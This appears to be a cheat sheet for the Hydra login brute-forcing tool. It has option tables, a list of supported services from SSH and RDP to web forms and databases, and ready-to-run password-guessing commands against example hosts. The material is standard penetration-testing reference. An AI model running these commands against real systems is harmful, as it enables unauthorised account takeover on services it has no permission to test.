hydra [login_options] [password_options] [attack_options] [service_options] service://server
| Option | Description | Example |
-l LOGIN | Single username | hydra -l admin ... |
-L FILE | Username list file | hydra -L usernames.txt ... |
| Option | Description | Example |
-p PASS | Single password | hydra -p password123 ... |
-P FILE | Password list file | hydra -P passwords.txt ... |
-x MIN:MAX:CHARSET | Generate passwords | hydra -x 6:8:aA1 ... |
| Option | Description | Example |
-t TASKS | Number of parallel tasks (threads) | hydra -t 4 ... |
-f | Stop after first successful login | hydra -f ... |
-s PORT | Specify non-default port | hydra -s 2222 ... |
-v | Verbose output | hydra -v ... |
-V | Very verbose output | hydra -V ... |
| Service | Protocol | Description | Example |
ftp | FTP | File Transfer Protocol | hydra -l admin -P passwords.txt ftp://192.168.1.100 |
ssh | SSH | Secure Shell | hydra -l root -P passwords.txt ssh://192.168.1.100 |
http-get | HTTP GET | Web login (GET) | hydra -l admin -P passwords.txt http-get://example.com/login |
http-post | HTTP POST | Web login (POST) | hydra -l admin -P passwords.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" |
smtp | SMTP | Email sending | hydra -l admin -P passwords.txt smtp://mail.server.com |
pop3 | POP3 | Email retrieval | hydra -l user@example.com -P passwords.txt pop3://mail.server.com |
imap | IMAP | Remote email access | hydra -l user@example.com -P passwords.txt imap://mail.server.com |
rdp | RDP | Remote Desktop Protocol | hydra -l administrator -P passwords.txt rdp://192.168.1.100 |
telnet | Telnet | Remote terminal | hydra -l admin -P passwords.txt telnet://192.168.1.100 |
mysql | MySQL | Database | hydra -l root -P passwords.txt mysql://192.168.1.100 |
postgres | PostgreSQL | Database | hydra -l postgres -P passwords.txt postgres://192.168.1.100 |
hydra -l root -P /path/to/passwords.txt -t 4 ssh://192.168.1.100
hydra -L usernames.txt -P passwords.txt ftp://192.168.1.100
hydra -l admin -P passwords.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" 192.168.1.100
hydra -l administrator -x 6:8:aA1 rdp://192.168.1.100
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
hydra -l admin -P passwords.txt -v ssh://192.168.1.100
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 rdp://192.168.1.100